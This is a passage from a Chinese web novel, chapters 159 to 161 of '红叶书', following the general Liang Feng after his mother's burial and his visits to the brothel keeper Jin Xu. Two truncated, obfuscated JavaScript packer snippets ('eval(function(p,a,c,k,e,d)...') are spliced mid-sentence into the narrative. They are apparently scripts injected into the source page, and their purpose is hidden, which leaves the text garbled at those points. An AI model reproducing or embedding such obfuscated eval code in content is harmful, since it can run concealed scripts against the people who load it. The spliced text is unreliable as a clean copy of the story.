“我不知道。”他想了想,补充道:“史书中没有记载过,那应当是没有的。” 他父亲?见没见过一面的人,无所谓。 梁风回到王府,写折子向皇帝说他希望母亲葬入皇陵并在史书中如实记录她的生平,请求皇帝同意。再写信寄去军营,将营里的事情暂交副将处理。 没有久等,皇帝在这天入夜前便下旨回复,命史官如实记述,邓氏火化,不托恒帝名义,允其入葬皇陵,并命太常府尽快安排。 梁风不想火化,但皇陵没有她的墓室,皇帝也不会允许母亲和别的皇室祖先挤一间,只能接受火化。 太常府的人连夜登门,告诉梁风皇陵中的选址。母亲与大周朝历代功绩声名显赫的官员名将葬在一处墓室,与皇室分开。因皇帝命尽快,相府调来很多人手,极为迅速地筹措完葬仪前后所有需要。 没有相违逆的意见和人,事情办得很快。 隔日,邓缝的灵柩推入火场,午后,骨灰便入葬皇陵。 仪仗人数十六人,梁风在队首抱着骨灰,从王府走去皇陵。 她并没有与名臣名将等先辈葬在一起,而是在边缘为她划分出了一块地方。 过程仪式已经简化,太常府商量出的新仪式仅是将入葬前由梁风宣读的死者生平缩短了一半。梁风宣读时能感觉到特别匆忙,而一般能葬入皇陵的人生平事迹起码千字以上。 整个仪式用了大半天便结束了,所有人完成吩咐一般立马撤离皇陵,留下梁风独自一人。 他心里想以后再来看母亲,要先向皇帝请旨获批,轻易不能进入皇陵了。 梁风待在王府中,不知道干什么。 葬仪结束的第二天,皇帝找出了抗匈一战中刺杀他的背后主使。 主使是西边一座县城的流匪,他从前剿匪时没剿干净,留下了一个遗患。这个遗患潜入军营,预谋刺杀他报仇。梁风没听说过这人的名字。 皇帝当着满朝文臣为梁风愤怒,并把此事责任推到该县县丞,认为监管不当、剿匪后流民处置不当,梁风不沾一点。 梁风无所谓,皇帝也只是做做样子,想借着这个事情针对那个县城吧,估计朝堂中庇护那方郡县的大官做的什么事情露了马脚,皇帝才要对那个县城下手,以撬动朝堂的大官。 他愿意相信刺杀他的小兵是杀上头了,杀得脑子充血了,杀得敌我不分了,才误刺那一刀。 他在王府坐了两天,不知道干什么。 要去军营,不是很想去。除了军营外,也没有别的急待处理的事情了。 老李突然说府里还有东西需要添办,非拽着他出门。 他不情不愿地出门,这一上街,才发现百姓之间冒出了一些贬毁他名誉的风声。 母亲自尽当夜上青楼寻欢,不孝的评语贴到他的脸上,连带着温柔馆的风评都变差。许多人说,温柔馆里的女子是狐狸精转世,手段极高,勾得男人忘乎所以,就连堂堂大将军也不能幸免。 议论之余,有的男人好奇,兴奋得想试试。 159. 《红叶书》(七九) 老李都愣住了,“这些议论肯定不是空穴来风,谁传出去的?” 世间的家长里短在茶楼汇聚,吵吵嚷嚷,人情与八卦在这里浓得比战后尸场的血腥气更重。 “不孝。说得也不无道理。” 梁风看着茶桌未擦净的污渍,和老李道:“我要去找金絮,你先回府吧。” 老李叹一气,由着他了。 老李起身要走,梁风忽然道:“等一下。”他伸出双手,“给我些金子。” 带着沉甸甸一兜金子,梁风站在了温柔馆门前......相隔三家铺子的墙角处。 看着大日头低下十分安静不热闹的温柔馆,没有夜间烛火加持的浓墨重彩,看起来像卸去妆粉,但是被妆粉腌入味,卸去了和没卸去是一样的一张脸。 这会估计还没开始营业,梁风偷偷跳上前馆的瓦顶,找到他的房间,吊在屋檐下,踩着窗台外伸的护栏,悄悄开了一线窗缝。 里面很安静,而且很整洁。 他从窗户钻进去。翻身的动作令兜里的金子叮当作响。 其实房间留不留也没什么要紧,散席又不是不能坐一坐,不过是个容身的位置而已。 正因为还没营业,他得先占了。 房间里是每日接客前的样子,铺好的床铺、摆好的茶盏杯具,弥漫一股香气。不过他看出一些不同,哪里似乎空了许多,少了些饰品。 梁风打开大门,探身出去,楼下只有一两个丫鬟在洒扫,没有别人,窗户都开着,光线很足。 洒扫的丫鬟不抬头,没有发现他。梁风耐不住这寂静,想着要不要去庭院看看。 这时前馆大门外响起一阵嘈杂声,几个男人的脚步和喊话的声音传来,丫鬟们放下手里的活计出去查看。 不会是有什么事情找上温柔馆了吧,梁风留一会,说不定有忙能帮上。 很快,丫鬟领进来三个男的,其中一个是平民小贩打扮,另外两个是街上巡逻的卫兵。 梁风觉着不太对,什么事情把卫兵招来了。这三人却在进门后同时往他这个方向看来。 三人看见了他,卫兵们还没反应,那个小贩立即指着梁风道:“就是那人!” 丫鬟们也抬头看,瞧见了他,面色大惊,一名丫鬟匆匆往后院跑去。 那小贩手指着他道:“官兵大人,我刚才就是看见这人从这房子屋顶翻窗进去的!” 梁风一愣,官兵大人厉声喝道:“给我下来!” 居然会被路人发现举报。 梁风只好从楼上下去,不想因为这事惊动金絮,丫鬟估计就是去找金絮了,他身上没带令牌。 一名官兵对他上下打量,喝道:“看你人模人样,居然私闯民宅?!” “不过是座花楼,为何翻窗进来?”另一名官兵道,眼神在梁风脸上一转,有些疑惑。 “我......”梁风有些尴尬,“我认识这里的馆主,不是私闯。你们......”不认识他吗?不应该啊,还以为刚才是在楼上没看清...... “等屋主人来了,当面对峙,看看她认不认识你!”官兵喝道。 梁风只好无言地听话。这是他教的,是他告诉底下士兵巡街时,遇到心怀不轨的歹徒,先亮出武器并进行言语恐吓,恐吓的关键之一就是音量要大,见对方有逃跑的意图再进行武力压制。 于是他很乖地站着。 没等久,金絮就来了。 她脸上微微困倦,这会才刚过未时,看起来是休息中途被叫醒,头发都没梳,简单套了件外袍。 官兵指着梁风向她道:“你是屋主?这人方才从你屋顶翻窗进来,被街上好心人看见了,叫来我们察看。” 金絮散漫的眼睛幽幽看来,梁风心里一紧,老老实实地站着。 好心人大声提醒:“你这大馆子小心有歹人潜入啊!” 金絮微微皱眉,“犯蠢进来?”声音听起来却不像被打扰睡觉的样子。 梁风小声纠正:“是翻窗进来,不是犯蠢进来。” “闭嘴!”官兵冲他大喊。 另一名官兵始终看着他,逐渐看出点异样来,表情大惊愕地打量他。梁风偏偏脸,这时觉得自己不应该被认出来了。 金絮往他这边走了点,对官兵道:“官兵大人,我认识他,他不是歹人,翻窗进来只是翻着好玩的。” 她歉意地笑笑,“抱歉抱歉,一点小事劳烦你们了,午时燥热,这点小钱拿去喝凉茶。” 梁风在她身后侧面默默看她的脸。金絮在身上摸了摸,没摸到钱袋,梁风赶忙把一兜金子递过去。 她掏了两粒小金子递给官兵和那好心的小贩,“您见笑。” 接了金子的官兵若有所思,“这不止喝凉茶吧?” 另一名官兵夺了金子,转而给旁边的小贩,比金絮更赔地赔笑道:“既然你们认识,那我们也不会往外说的,走了走了。”说着,便推着同伴走了。 小贩巨大地受宠若惊,谢天谢地地走了。 人全都走完了,金絮面无表情地转脸看他。梁风低头看地板。 她抓住他的手臂,扯他往前馆大门外走。 梁风顿感不妙,在踏出门的一刻,大喊:“你不许赶我走!” 金絮好像没听见,不顾他的大喊,出到门外回身把大门关上,然后操控他的两只手掌,握住门环,向外一拉,门开了,她再抓着他往里走两步。 两步走定,金絮松手抬头问:“懂了吗?走大门就是这样开门走进来的。” 梁风垂手讷讷不敢言。 “没懂?还要我再示范一遍?” 梁风连忙旋风摇头,“懂了懂了。” 金絮不再理他,扭头朝前馆后门走去。梁风亦步亦趋地跟在她身后。 金絮很镇定,脚步不停,问道:“我要补觉,你是想和我一起睡觉吗?” 梁风一诧,还没反应过来,脑袋先自己摇成了旋风。 走到后门,金絮开门就进,梁风忙道:“这几天,我以为你会去找我,你没有......” 门啪地在他鼻尖前关上,也堵住他后半句话。 有些问题想问她的,想问她有没有受到最近舆论的影响,是不是很忙,有没有他能帮忙的。可是她要睡觉,睡觉是很要紧的事情。 梁风沮丧地低头,周围又是只剩下他一个人。低头看见腰上挂的一兜金子,这是他想续两个月的金子,没来得及给她。 门唰地开了,金絮掀掀快睁不开的眼睛,无奈道:“我睡会儿,醒来再和你说。” 门啪地关上。梁风悦了,握握手掌,对着门说:“那你先睡啊。” 他贴着门缝瞅,啥也没看见。他扒门听一会,听见渐远的脚步,心里松了口气,到厅堂找个就近位置坐下,等着。 从坐着等到躺着,梁风发呆,看着天花板发呆,头一次察觉温柔馆这么空旷寂静。 余光瞥见后门位置探出一个小小的脑袋,他偏头一看,是个印象不是很深的小姑娘。 小姑娘悄悄看他,小心翼翼道:“我想来找你玩,阿絮姐姐说你很随和,可是我有些不敢。” 梁风不同意,他有什么可怕的,和气道:“你想和我玩?” 小姑娘点点头,向他走过来。 身边有了些吵闹,梁风坐起来,“你想和我玩什么?” “刚才是你被官兵哥哥骂了?”小姑娘上来就问。 “......那不是骂......” “你不要打扰阿絮姐姐睡觉,她被打扰了可不开心了。” 梁风想了想,确实。 “对不起,我打扰你的阿絮姐姐睡觉了。”他认真问:“你想和我玩什么?” 小姑娘抿抿嘴,难为道:“好吧,我是想让你帮我一个忙。” “什么忙?” “我刚才在和火蓉姐姐踢毽子,结果毽子不小心挂到树上去了,拿不下来。”她丧丧的,“你能帮帮我么?” “我去看看。”梁风起身。小姑娘顿时欢快地在他前面领路。 “你叫什么名字啊?”他问。 “我叫凝荷。” “多大年纪啊?你看起来很小。” “年底十五岁,不小了呢。” 凝荷领他到了庭院,院子里意外地人多,三三两两的姑娘坐在一处各种谈天。 梁风跟着凝荷走,有人领着比他翻墙私闯要好,一边四处看看,原来她们都爱在庭院玩,人多虽多,凑一起说话的声音却不算大,应当吵不着金絮。 “你们在这里,怎么阿絮还在睡着?” “阿絮姐姐每日睡得比较晚。”凝荷掰着指头说:“她每日睡前都要看账本,看房间里的人安置得怎么样,还要和孙姨说话,是以睡得晚。” “是这样。”见到她要提醒她睡醒再看账本,夜里光线差,对眼睛不好。 走近一棵大树下,听见了姑娘数数字的声音。 “四十五、四十六......” 凝荷领他到了一堆人群里,火蓉正在踢毽子,其他姑娘围着火蓉数个数。 火蓉跳着毽子,撇眼看见他,意外道:“刚才被官兵抓到的人就是你啊。”她转而又说:“果然是你啊!” 毽子掉到地上,梁风无言以对,面对姑娘的取笑不知道说什么。 凝荷扯扯他的袖子,指着树上一根枝杈,“你看,就在那里。” 他抬头看去,树枝上确实有个棕毛毽子。 “这是怎么踢上去的?” “不是踢上去的,是扔上去的。”凝荷道:“你看毽子旁边有个鸟窝,我想把鸟窝砸下来看看。” “砸下来干什么?” “就是啊,人家好好窝在树上,你要砸下来干什么?”一名叫媚秋的姑娘道。 凝荷嘟嘴,“我就想看看嘛。” 梁风飞身上树,轻轻踩着树枝,取了毽子,往鸟窝里看一眼。 “哇~~~~”凝荷惊呆。 梁风下树,递给她毽子。凝荷接过毽子欢欢喜喜,“谢谢你。” “帮你看了,鸟窝里啥东西没有。”他道。 “啊,”凝荷丧气,“可是明明听见有鸟叫。” “这下知道了?可别再惦记着人家的窝了。”火蓉道。 “你要一起玩毽子吗?”凝荷问他。 “我不会玩。”梁风婉拒,凝荷再邀:“你玩玩看,很容易玩的。” 其他姑娘到旁边去玩了,梁风捏着毽子羽毛沉思,他没玩过,但他会踢东西。 他松指,随意一踢,毽子咻地如箭一般飞射而出,没入树丛中不见了。 “哇......” 梁风看着毽子消失,还想着怕是会砸到人,就听到了一响扑通入水声。 紧接着一道怒吼:“谁!!!惊了我的鱼!!!” 这是丽姬的声音,梁风心道不好,赶忙去看。 绕过树丛,池面残留毽子入水的波纹,桥上的丽姬举着一根简制鱼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“我知道我知道。”凝荷大声道:“我听阿絮姐姐说过,你还会打仗,很会杀人。” 梁风张了张嘴,无法反驳。但是很想反驳,心里有个凸起的东西让他翻不过去。 “她这么说我的么......” “我那是保家卫国。”他辨道,又低下头,“不过说杀人也没错。” “杀人不好哦,阿絮姐姐说,人命很珍贵的。”凝荷道。 “对啊,人命很珍贵的。”梁风看着金絮房间的方向,“那她有说,她讨厌我杀人么?” 凝荷歪头思索一下,“这个她没说。” 这时,池边那座亭子里传来数名姑娘的呐喊: “丽姬,你的鱼跳出来了!” “快把你的鱼抓住!水都溅湿了我的画!” “还有我的!” “是么。”丽姬慢悠悠的声音:“我看看......这不是正好,你就在水印子这里画一枝梅花,有梅花才是一幅画。至于你这个......你这画的什么?” “衣裳!这是我要做的衣裳,画稿都被你毁了!” “我说这个人怎么没有脑袋呢......” 继而愤怒的控诉夹杂丽姬的警告:“不许打人!” 吵吵闹闹成一团,梁风一边走,一边茫然地想,这样真的不会吵到她吗? 到了金絮房门前,凝荷当先打开一条窗缝往里看。门的位置看不到她的床,窗户才行。 梁风等了一会,才过去凑到窗缝前看。 床榻上一团被子,金絮的脸露在外面,正对窗户,闭目睡着。 梁风仔细地看她,抚抚胸口,胸膛里一股暖流在熨帖。他松了口气,合上窗户,看得不太多,能看到的地方是整洁干净的。 梁风坐到檐下长凳,再次松了口气。 凝荷和他坐一块,问:“你喜欢阿絮姐姐吗?” “嗯,我很喜欢她。” 凝荷看他,有模有样地打量推测,片刻不知打量出了什么,皱眉问:“你会把温柔馆买走吗?” 梁风很意外,“为什么这样问?” “有的姐姐们在说。”她的眉毛改为郁郁地皱着,“你如果把温柔馆买走了,我就不知道能去哪里了。” “你是被父母卖进来的?没有家了?” “是啊。我是徐娘养大的。”说起这个,凝荷语气倒不如何郁郁了,“徐娘想把我养成......阿絮姐姐叫作‘瘦马’的东西。” “瘦马?”他听说过一点,是长泽以南那边地区某一类女子的称呼,不太了解。 “你看我的腰。”凝荷站到他面前,手掌拍拍自己的肚子。 梁风便看过去,这才发现凝荷的腰很细,惊人的细,最多是他一个巴掌横着的宽度。前面因为她袖子半遮半挡,没看出来。 “是不是很细?这是我小时候用带子束出来的,饭吃的都很少。” 凝荷坐回去,说完停了一会,自顾自想起什么,板着脸和他严肃提醒:“你要是把温柔馆买走了,阿絮姐姐会讨厌你的。” “我不买,我不想让阿絮讨厌我。”他宽慰低声道:“你还小,以后多吃点,还能长长身体,变胖一些。” “嗯嗯嗯,阿絮姐姐也是这样说。”凝荷转而一笑。 看着凝荷笑到眼角眉梢的笑,梁风也开怀许多,深一分知道金絮当初为什么要留在温柔馆。 “走吧,我去前面等她。”梁风起身,“她一般睡到什么时候起来?” “快了,阿絮姐姐多数时候不到申时就起了。”凝荷蹦蹦跳跳地领路。 160. 《红叶书》(八十) 往回走,有的姑娘已经不在院子里,不知跑到哪里去,热闹少了好多。 唱曲的姑娘还在唱曲,歌声小了。另一边亭子里画画的姑娘们正准备收拾画具,丽姬似乎钓足了鱼,找画画的姑娘做人证,然后好把鱼放回池子。 下了桥,梁风终于知道少去的热闹在哪里。 刚才踢毽子的那群人不在这了。 “要准备开业了。”凝荷道。 梁风独自绕去正门,双手拉环,打开大门进入前馆,也不上楼,坐在厅堂一进来就看得见的地方等她。 周围再次静下来,又没静。 丫鬟多了几人,推着木头做的小车走来走去,轱辘轱辘,车里的瓶瓶罐罐叮叮当当。姑娘们三两结队,擦出火折子,滋滋点燃熏香。墙边四处,镂空的柜子里全是香炉,她们前面的人调香,后面的人点燃,非常有序。 火星、香气、轻微的脚步,她们聊着什么梁风没有细听,但他觉出一种军营里的训练有序来。 几间开着的厢房里看得见有姑娘对镜抹脸,梁风看了一会,才反应过来是在化妆,往脸上厚厚地抹墙。 他解下腰上的金兜子,放到面前的案上,呆呆看着。 申时已过,金絮还没来。 今日第一个男客走进来,金絮还没来。 男女调笑与打闹声渐大,金絮还没来。 刚才还有姑娘会偷偷看他一眼,现在没了。他产生一种身处热闹却与热闹无关的情绪,可是在军营里,每一个见到他的士兵一定会和他打招呼。 梁风对着前馆后门几乎望眼欲穿,看着那一小片门,不停地开开关关,走出走进无数人,就是没有金絮。 盛装打扮的丽姬从他面前路过,无视了他,去到二楼的阳台看着街上各种男人们。 怎么丽姬都打扮得浓浓的了,梁风往窗户外一看,天都快黑了。 梁风继续盯着后门,想一想她刚才睡着时的样子...... “哟,温馆主,今夜来得晚。” “犯懒,多睡了会儿,您见笑。” 梁风愣住,以为听错了,一扭头看见金絮踩着末尾阶梯,正从楼梯上下来。她竟然从别的地方出现了。 梁风下意识捏住金袋子,想紧在第一时刻给她,然而金絮却忙了。 全部男的都和她打招呼,金絮雨露均沾地点头示意,居然记得所有男的名字,挨个寒暄,有的还能说出近况。 梁风愣愣看着,仿佛她是这个军营里的最高将领,下来巡视了。 开业前明明有独处的空闲。梁风焦灼地不停捏金袋子,什么时候才能巡到他这里。 全部男人问候过一遍,金絮终于看了一眼他这里的老兵新营。 她向他走来。梁风立马急急地双手捧着金子递给她,“我想续两个月的。” 金絮目光顺势往下,掂了掂这一兜金子,颔首收下了,“可以。” 她的态度像是商人谈生意达成合作,梁风忐忑不安,“那个房间是我的了?” “嗯。” “我可以一整天地住着了?” “嗯。” 梁风一瞬不瞬看着她,还是很忐忑,一点没减轻。 将钱袋子交给丫鬟,金絮问:“吃饭了没有?” 他摇头,金絮于是拉着他上楼,“楼上吃。” “我想和你说说话。”梁风拽拽她,“你刚才和那么多的人说话。” “那是必要的客套。” 进入房间,金絮擦亮火折子,关了门道:“下葬了?” “嗯,是火化。” “葬在哪里?” “皇陵。” 金絮点蜡烛,边说:“火化是民间才会出现的敛葬方式,骨灰不占地方,身份越尊贵的人,越是想要完整地保存自己的遗体。这是葬入皇陵的代价?” 梁风不说话。随着房间逐渐增亮,细微的表情都变得明显,金絮熄灭火折子,看着他的眼睛,问:“后悔了?” 仿佛点了头,仿佛没点,梁风摇头,“不知道。” “我还让史官如实记录她的生平。我不知道我做得对不对,她可能在乎的,她想求来的荣誉,生前没有得到,若是问她死后愿不愿意得到,她恐怕是会说愿意的。” “那为什么不改?史官的记录可以不用坦诚吧?” “可是改了之后就不是她了。” “那就不要改。” 他会纠结就在于不是那么简单能做决定,梁风感觉呼吸困难,周围很安静,但是有她在,内心的不痛快强烈起来。 “如果实在不好做决定的话,就造反自己当皇帝,史官怎么写全由自己说了算,你可以今年这样写,明年那样写。”金絮道。 好像这类事情可选择的做法就是如此极端,他心里很难过,胸膛堵住一口气出不来,直到眼泪流出来,这股气才有宣泄的出口。 “这样做就是个昏君了。” “大周没有明君。” 越发难过得止不住,眼前啥也看不清,梁风握住她的手,努力看清她,“我明白你为什么会犹豫自己要不要复仇了。你一会这样,一会那样,像要发癫一样,我担心你担心得要死。” 仿佛感受到她数年的情绪,忍受难过和不甘,还要正常地生活,她很不舒服,越反抗越烦躁,把房间弄得一团糟。 梁风紧紧握着她,希望能把她的情绪传递过来,“如果可以轻易做出决定,人命就不重要了。我不是皇帝,我做不出来和皇帝一样的事情。” 咻——嗙—— 焰火在空中炸开,佳节欢庆的余晖照亮了一片房屋。 阁楼屋檐下的丽姬看着焰火转瞬即逝,她愣愣的,抬手奇怪地看着自己。焰火光芒照得她身上衣裳愈加鲜红如血。 梁风哽哽咽咽,眼睛里连她都看不清了,手掌死死拽着,生怕找不着她在哪里。 金絮帮他擦眼泪,梁风道:“你要好好的,我很在乎你。” “嗯。” 像是一口大鼎砸过来令他心中一定,梁风睁大眼睛,凑近仔细看她,看见她眼睛也红红的,有点模糊,怕她也哭了,赶紧摸摸她的脸确认有没有眼泪,摸到一手干皮肤。 金絮由他摸着。梁风呆呆看着她,眼睛酸痛,忽然在她脸上一掐,气道:“可是你自己犹豫,为什么让别人造反就说得这么痛快。” 金絮由他掐着,答:“因为自己要行动起来很难,对你指指点点就很简单。” 难过渐渐消散,可以压下去,梁风抽鼻子,道:“如果今年这样写,明年那样写,史书上的记录我就会有各种各样的娘了。” 金絮闭上眼,低头一叹,“我真是要开始做梦了。” 梁风不由自主贴近她,想感受她的情绪。 “可我不想做梦。”金絮道:“只能在梦里毁天灭地,幻想而已,我能力不够,真要到了舍弃一切的时候,我恐怕舍不得。” 她脸上有点认命,很不开心,梁风认真且认同地点头。 金絮看着他道:“春天的时候有个姑娘走了,因为她怀孕了,想把孩子生下来。” “孩子?” “嗯。她连续几天偷偷倒掉了避子汤,我原本不同意她走,因为不知道孩子的父亲是谁,独自带孩子很困难的。可她跪着求我,最后我同意了。” “你同意了......”梁风喃喃跟着念。 “这两年,温柔馆有很多出去又进来的人,也有出去就不回来的人。朝堂还是越稳定越好,发生动荡,她们出去的人日子会很难过。” 梁风又难过了,除了朝堂的动荡,有一部分动荡是他打仗带来的。 金絮用袖子擦掉他的眼泪,“不要难过。如果你母亲在意后人的评说,那么有些事情她根本不会去做。她知道她生的是皇子,她知道成为了皇子的母亲,当然会收到更多的来自旁人的关注。可能生前受到的关注少些,死后的关注才多些,但我不认为你母亲会为自己做出的事情感到后悔。” 她道:“如果可能后悔,她的目标就不会那么坚定且明确了。” “真的吗?” “真的。” 梁风不那么难过了,可以吃得下饭。 丫鬟上菜过来,他一口气吃了两大碗饭,吃撑了。 金絮起床就没吃什么饭,和他一起吃了。吃完饭后,丫鬟送来了一盅汤,是孙姨特意煮给她喝的。 梁风等她慢慢喝完,闻到空气里一丝丝甜味,还有股姜味。 “今天起晚了,本来想提早去市上买点红糖的,只能现在去了。”金絮道:“你和我一起。” 梁风仰脸看她,“上街?好啊。” 梁风揉揉肚子,跟在她身后走,和她一起前后脚离开温柔馆。 二层阁楼上的丽姬托腮闲闲看着街道,看见两个脑袋一前一后走离温柔馆。 她无聊地打了个哈欠。 佳节后的街道变得寻常了,少见老人小孩,烛光暗了,吆喝声小了,许多店家夜里为省烛火钱而早早收铺。 没走很远,绕过两条街,到了一家干粮铺子门前。 铺面不大,生意挺好。金絮进去也不挑,和店家说了句话,店家便搬来两个麻袋东西。 原来叫他一起是为了帮忙扛,梁风看那两袋东西,凑近闻了闻。 “红糖。”他道:“你喜欢甜甜的。” “孙姨做的红糖膏很好喝。”金絮给钱,“这两袋最多喝半个月,很快又得买。” 梁风准备要扛,她拦下了,“不用你扛,店家会派人送去温柔馆。” “哦。”他垂手站边。 她又买了一小袋红糖块,油纸包在手里边走边吃。 梁风双手空空跟在她身后,金絮好心一递,也给他吃了一块。 红糖就是纯甜,梁风含着糖跟在她身后。 这回走得久了一点,走到了城内湖边。 金絮掏了颗金子递给船夫,选了一艘小船。 “这是要干什么?”梁风跟在她身后。 “游湖赏月。中秋那天我光顾着陪酒了,没有好好赏月。” 鼻腔里都是一股糖味。梁风扶着她登船,贴肩坐在船头。 “我也没有。朝廷没钱了,中秋那场宴会设在了室内,看个鬼的月亮。” “那场宴是为了在匈奴人面前抖威风吧。” 他抬头看,乌云蔽空,夜色很浓,见不到星月。天空实际上是白云,只是夜晚看起来像黑云。梁风想起来今天天气不是很晴朗,午时才有过短暂的太阳。 “中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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梁风闷得不舒服,又把身子扭回去,撞她的胳膊肘,“你帮我出出主意。” “不建议。” 她简单道:“真不想要了握在手里也没用,别人轻易就能夺走,想要的话别人夺走也能再拿回来。” 梁风默默了。很多事情只能自己想,旁人帮不了,顶多说些安慰的空话,就算金絮真心想帮他出主意,那数万士兵的性命也并没有握在她手中。 “不交便再做打算,我更关心交出去之后要怎么办呢?”她递来糖包。 梁风吃一块。皇帝现在肯定开始忌惮他了,他可以用交出兵权来换取条件,最好的当然是能在燕国做他的闲散诸侯王去。 “我要是去了燕国,你会和我一起去吗?” 她摇头,“我在太南有家呢。” 太南那个破旧小屋,里面住了两个小孩,还是别家的小孩,就能成为她嘴里的家了。 他一边含糖一边想,记不住这红糖到底什么味。 “为什么不能自在一点。”快要有种一无所有的结局了。 “‘自在’的‘自’指的是自己,你要是只顾着自己,你就自在了。” 梁风咔嚓咔嚓地用力把糖块咬碎,咽下去,得出结论:“那人不可能自在。” “别把话说死了,这世上说不定真有自在的人。” 她道:“或许身在红尘中,心在天地间。” 夜空云破月开,茫茫月光铺洒下来,大地被涂上了胭脂,河边树影都显出深绿浅绿的层次,照在身上灼灼发热。 月光如此坦荡,他也没什么好遮着掩着的。 “我很替他们不值,那些在战中死去的士兵们。 “他们爱大周,但是大周不爱他们,他们一起合成的兵权才是大周最爱的。我每次出征前都会和他们说,不管对面的敌人是山匪还是匈奴,你们都要打赢他们,不是为了保家卫国,而是打赢了之后才有赏钱拿。 “我不是一个好将领。营里被安插进各种各样的人,军衔的提升很难轮到他们,赏钱才是最实际的。” 金絮静静听他讲,梁风边说边不停看她,还是没什么心思赏月。 “我也不是一个好鸨母。”她默默道:“这是拿身子性命赚钱,说得多好听都没用。” 水中的鱼跳出水面呼吸,水花晶盈闪光,昙花一现的月亮被云层遮住。 他向岸边一看,行人渐少,不知不觉竟围着城内湖游了一长段,时辰已经晚了。 “要回去了。”她道。 她还要回去照顾温柔馆的生意,梁风想再待会,晚点回去,温柔馆的生意也就歇了。 梁风让船夫靠岸,“我送你回去吧。” 金絮团团糖纸包,登了岸。还有一段路要走回去,梁风贴肩走在她旁边。 她不再吃糖,空气里甜味淡了。 梁风一步一看她,温柔馆转瞬间近在眼前。 梁风依依不舍地叮嘱:“睡前不要看账本,早点睡觉。” “好。” 金絮便向前馆大门走去,走出几步突然想起什么,转过身来,“你房间还得收拾一下,床榻要换,你府里睡的是从哪家店铺买来的垫板?” 他一愣,想到他的相府。金絮还在等他回话。 垫板什么的他哪里知道,这才意识到,居然可以和她一起回家。 梁风兴奋地向她跑去,牵起她的手腕,“不用收拾,我今晚就住,床榻不用换了。” 161. 为将者的标准 “再想想吧。” 男人都进了厢房,唱曲的姑娘唱给自己听,丫鬟熄掉一半烛火,温柔馆呈现一种浓妆未褪、即将入睡的气氛。 “再想想吧。”金絮道。 “嗯。”梁风自己也明白。 金絮点一盏灯笼照他上房,趁机脱开他的手。 “好了,我还有事要忙。”送到了房间,她便道:“你要选姑娘陪你么?” 梁风摇头,“不要。” 金絮退出房间,顺手关门。门关上的一刻,梁风又打开,跟在她后面。 “你又要去和别人说话。” “对啊,你别跟着了。” “不跟着你,我都不知道干什么了。” “去睡觉啊。” “睡不着。” 梁风噔噔噔地跟着她下楼,金絮仿佛无视了他,自顾自与大厢说话,确认厢房使用情况、今夜用掉几份避子汤和男客间有无争吵等等,一说就停不下来。 大厢提到有个厢房的男人还在等她。梁风听见就觉得不妙,金絮果不其然连招呼都不与他打一声便找人去了。 看着她走进别人的房间,而他被挡在门外,当然不能进去。 走廊边有一些供喝酒吃点心的坐席,梁风不顾好不好看,坐下对着关闭的房门等。 没有丫鬟和姑娘管他,每一个路过的人都有自己的事,他不知道自己的事情是什么。 想起下午凝荷问会不会买下温柔馆......萌生了一点点想法。 ......一点点...... 可是不行啊。他该去军营了,已经好几天没去了,营里不知道变成什么样了,皇帝肯定对军营内部下手了,就不太想去。 唯一有些忙活事的军营,他都有一点点想交出兵权了。兵权交出去,如果还活着,他该干什么? 金絮有了住的地方,也能赚到不少的钱,府里的人遣散出去也好安置,如果没得活了,其实也没什么放不下的。可是他又想活着。 活着到底有什么好,为什么想要活着。求生的本能?他忽然明白为什么金絮不想活,但是活着了。 梁风空洞地想,脑子变成了一个洞。一个洞里面其实什么都可以装进去,可以装美好的东西,也可以装肮脏的东西。水是什么,水是很无辜的东西,它泡着美好的东西它就是干净的,它泡着肮脏的东西它就是脏的。脏的东西沾到墙上,可以把墙刮掉一层,脏的东西沾到人身上,可以洗澡或者洗衣服,脏的东西和美好的东西混在一起沾到人身上,好像就不好洗了。她要什么时候出来。什么水是干净的,湖水里面的东西多就不干净,人身体里面流出来的水也不干净,人身体里的东西是脏的,人要变干净,要剖出来洗一遍,湖水洗一遍就不是原本的水了。血水是不干净的,血水是干净的,血水掉到地上就不干净了,北方山地有很多沙子。沙子有没有干净的,沙子是黄色的。南方有海。 门开了,一堆人走了出来。 梁风呆呆盯着地板的缝隙,一堆人脚步踏起来,他被打断,响声在脑子里搅成一团,他茫然看着人头,一个胖子从眼前走过。 “贾老板慢走。” 一堆人下楼,金絮带笑脸的脸挨着胖子同步走,眼神飘忽忽地撇过来。 梁风站起身,跟在人群后面。 送完胖子离开,梁风贴到金絮身后,“你忙完了?” “还没有。” “我知道你忙完了,因为你看我了。” “我要去看账本。” “睡醒天亮了再看。” 穿过庭院,金絮到房间翻起账本。梁风坐在她旁边问:“人为什么活着?” “我不知道。” “原来我以前都是为了别人活着的,是别人身边的人,先有别人再有我。”梁风道:“我不知道要干什么了。” “可做的事情很多啊,可以前半生从戎,后半生习文,或者种种花草、养养鱼,或者学学做饭,或者倒腾雕刻建筑,或者开学馆,教别人习武,找找自己喜欢什么。” “我都不想干。”梁风端着烛盏,推近她的账本。 她低头看帐,梁风看她,又问:“我可以出多点金子,你只陪我一个人吗?” 她头都不抬,道:“不是的,我一向陪客都是随心意,我想陪就陪,我不想陪就不陪,如果因你出金子我就陪你的话,其他人也会跟你一样做,出的价钱只会越来越高,而我没法拒绝了。” 她在解释,梁风有点耿耿于怀,“你和刚才那个男人聊天。” “那人叫贾镇,是做药材生意的行商,温柔馆的药材就是他每月按需提供的。” “哦。”梁风一想,“我是不是也要为温柔馆提供什么。” “你想提供什么?” 他于是想。自己浑身上下想过一遍,王府里里外外想过一遍,朝廷与他有关系的人想过一遍,燕国想过一遍。金絮账本陆续翻了三页。 “金子,我提供金子。”他道。 “你吃点温柔馆的酒饭,睡点温柔馆的床榻,就可以提供金子了。” 金絮合账,无奈道:“子时了,去睡觉吧。” “你也睡。” “好,我睡。” 她起身,走去内间,梁风跟着进去。 房内东西仍是很多,仍是堆放,但堆得还算整齐,臭气消失了,不能说焕然一新,可以说判若两房。 金絮拆发卸妆,洗把脸,毫不避讳地把衣服脱得只剩里衣,钻进被窝躺下睡觉。 “我睡了,你也睡吧。”她只露出一张脸,和几些头发。 梁风走近半步,还想说什么,看着她的脸最后点点头,退出她的房间。 他不走,坐在她的房门口。 